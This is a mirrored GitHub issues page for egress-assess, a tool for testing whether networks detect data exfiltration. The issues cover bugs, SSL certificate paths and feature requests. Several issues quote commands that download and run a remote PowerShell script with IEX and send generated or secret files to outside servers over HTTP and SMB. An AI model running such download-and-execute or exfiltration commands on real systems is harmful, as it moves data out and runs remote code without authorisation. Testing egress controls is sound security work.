Coder Social home page Coder Social logo

egress-assess's People

Contributors

butlerallenj avatar christruncer avatar harleyqu1nn avatar john-rivers avatar khr0x40sh avatar l1ghtn1ng avatar leebaird avatar n03lx avatar piesecurity avatar raikia avatar rasta-mouse avatar ruddawg26 avatar rvrsh3ll avatar sethsec avatar sithari avatar trallgorm avatar xan7r avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

egress-assess's Issues

Identity data type issue...

The following command...
date; IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/ChrisTruncer/Egress-Assess/master/Invoke-EgressAssess.ps1โ€˜); Invoke-EgressAssess -client http -IP x.x.x.x -ResolveDNS -Proxy -Datatype identity -Size 5 -Loops 1 -Verbose; date;

Returns the following results...
Thursday, October 08, 2015 11:38:35 AM
VERBOSE: [] Testing server connection
VERBOSE: [
] Server is UP on secure.malofsky-schwartz.com.
VERBOSE: [*] HTTP Server Running on secure.malofsky-schwartz.com port 80.
VERBOSE: Uploading data...

VERBOSE: [] Transfer complete!
VERBOSE: [
] 0 loops remaining..
VERBOSE: Uploading data..

VERBOSE: [] Transaction Complete.
VERBOSE: [
] Exiting..
Thursday, October 08, 2015 11:38:38 AM

Feature Request - Generate and output data to file

It would be a great feature to have to generate the fake data so that we could use it to zip up and upload to something like google drive, mega.nz, etc. As well as using native SSH clients (SCP) and FTP clients.

Invoke-EgressAssess -client none -Datatype cc -Size 50 -Outfile cc.txt

Specify port for powershell client

It'd be nice if you could specify the port to send data on in the Powershell version. You can set the server port number for the listener server-side, but not the client-side. For example, I can't test FTP data over port 1234 because the powershell client doesnt accept an alternate port.

Add Trojan communication features

I am a Chinese security researcher, very happy to use Egress-assessment, I would like to add gh0st Trojan simulation traffic, how to simulate the implementation?

Error

When running the following command...
Invoke-EgressAssess -client http -IP X.X.X.X -ResolveDNS -Proxy -Datatype ssn -Size 5 -Loops 1 -Report c:\temp\report.txt -Verbose
I get this error...
VERBOSE: Report File = c:\temp\report.txt
Unable to find type [ordered]: make sure that the assembly containing this type is loaded.
At line:1019 char:34

  •         $EAreport = [ordered] <<<< @{
    
    • CategoryInfo : InvalidOperation: (ordered:String) [], ParentContainsErrorRecordException
    • FullyQualifiedErrorId : TypeNotFound

Transfer error when using the .ps1 using FTP/DNS client session.

VERBOSE: [] Testing server connection
VERBOSE: [
] Server is UP on .
VERBOSE: [] FTP Server Running on port 21.
VERBOSE: [
] Generating 50 MB of Credit Cards (1500000)...

[+] received output:
VERBOSE: [*] Uploading data..

[+] received output:
VERBOSE: [] Error, tranfer failed with error:
VERBOSE: Exception calling "UploadString" with "2" argument(s): "The remote server returned an error: 227 Entering passive mode (,234,183).
."
VERBOSE: [
] Exiting..

Tried with ufw fw rules in place and also opening up the server to allow any connection to and from FTP. Still the same error comes up.

--file not working with smb

  • Server
    ./Egress-Assess.py --server smb

  • Client
    ./Egress-Assess.py --client smb --file /root/secrets.txt --ip 10.0.0.10
    ##############################################################

smbclient \\10.0.0.10\DATA -N -c "put secrets.txt"
WARNING: The "syslog" option is deprecated
secrets.txt does not exist
[+] File Transmitted!
##############################################################

Notice that the file paths to secrets.txt are different.
Same thing works fine with https.

Error

I am facing the timeout error on Exfiltration using HTTPS.

On Server:
p@kali:~/Egress-Assess$ sudo ./Egress-Assess.py --server https

On Client :
PS C:\Users\Egress-Assess-master> Invoke-EgressAssess -client https -datatype cc -Verbose -ip 9.73.2.1
VERBOSE: [] Testing server connection
VERBOSE: [
] Server is UP on 9.73.2.1.
VERBOSE: [*] Error, tranfer failed with error:
VERBOSE: Exception calling "Connect" with "2" argument(s): "A connection attempt failed because the connected party did not properly respond after a period of
time, or established connection failed because connected host has failed to respond 9.73.2.1:443"
PS C:\Users\Egress-Assess-master>

But when I browse 9.73.2.1:443 using browser, i can see the request. Any help.

SSL Certificate location

This is less of an issue and more like a comment on how to fix it, you mention to generate a server.pem "on the same level as Egress-Assess" but in the https web server code you specify the following certificate path
cert_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/web/server.pem'
This results in the code not being able to find the certificate unless it is located here -> {EGRESS-PATH}/protocols/servers/serverlibs/web/server.pem.
You can easily fix that and even integrate the ssl certificate creation with the code itself.

Append to Log File Feature Request

It would be cool to keep a running log somewhere on disk of the transfers that were done. The source IP, protocol, data size, type, etc. That way the user can reference it after the terminal has been closed.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.